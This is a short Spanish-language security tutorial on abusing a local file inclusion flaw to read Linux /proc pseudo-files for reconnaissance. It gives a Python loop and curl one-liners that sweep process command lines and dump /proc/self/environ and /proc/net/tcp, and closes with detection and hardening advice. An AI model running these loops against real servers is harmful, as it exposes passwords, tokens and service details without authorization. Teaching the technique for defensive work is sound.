Enumeration via /proc/<PID>/cmdline
En Linux, el directorio virtual /proc expone el estado del kernel y de cada proceso vivo como si fueran ficheros. Por cada proceso hay una carpeta /proc/<PID>/, y dentro el pseudo-fichero cmdline guarda la línea de comandos completa con la que se arrancó ese proceso, con los argumentos separados por bytes nulos (\x00).
Por qué importa para un atacante. Si tienes una primitiva de lectura de ficheros (un LFI / directory traversal, un sudo que lee ficheros, una web shell limitada), /proc convierte esa lectura en reconocimiento del sistema. Sin shell interactiva puedes:
- Saber qué servicios corren y en qué puerto, leyendo el
cmdlinede cada PID. Un servicio "raro" quenmapno identifica (un binario lanzado a mano, un debugger, un daemon casero) revela aquí su comando exacto. - Recuperar secretos pasados por argumento: contraseñas en la línea de comandos, tokens, rutas de ficheros de configuración. Pasar credenciales como argumento es una mala práctica precisamente porque quedan visibles en
/procy enps. - Leer otros pseudo-ficheros útiles:
/proc/<PID>/environ(variables de entorno del proceso, a veces con secretos),/proc/self/cmdline,/proc/net/tcp(conexiones),/proc/version,/proc/mounts.
Cómo se explota a ciegas. Los PID son números pequeños y secuenciales, así que basta con recorrer un rango (/proc/1/cmdline … /proc/1000/cmdline) y quedarse con los que devuelven algo no trivial:
import requests
base = "http://victima/lfi.php?file="
for pid in range(1, 1000):
r = requests.get(base + "/proc/%d/cmdline" % pid)
if len(r.content) > 50:
print(pid, r.content)La misma idea en una línea con curl (sin Python), y la lectura de otros pseudo-ficheros útiles:
for i in $(seq 1 1000); do echo -n "[$i] "; curl -s "http://<host>/lfi.php?file=/proc/$i/cmdline" | tr '\0' ' '; echo; done
curl -s "http://<host>/lfi.php?file=/proc/self/environ" | tr '\0' '\n' # variables de entorno
curl -s "http://<host>/lfi.php?file=/proc/net/tcp" # conexiones activasCómo detectarlo. La firma es una lectura masiva y secuencial de /proc/<pid>/cmdline (y de /proc/<pid>/environ) recorriendo muchos PID en poco tiempo: auditd sobre open/openat de esas rutas revela el barrido, que un proceso normal no hace. Cuando el vector es un LFI, el log de acceso muestra /proc/ en el parámetro de inclusión (file=/proc/1/cmdline), fácil de bloquear con un WAF. En reposo, un /proc montado sin hidepid es la exposición.
Defensa. No pasar secretos por argumentos de línea de comandos (usar ficheros con permisos estrictos o variables de entorno cargadas de forma segura); montar /proc con hidepid=2 para que un usuario no vea los procesos de otros; y, sobre todo, eliminar la primitiva de lectura de ficheros de raíz, porque es la que habilita todo esto.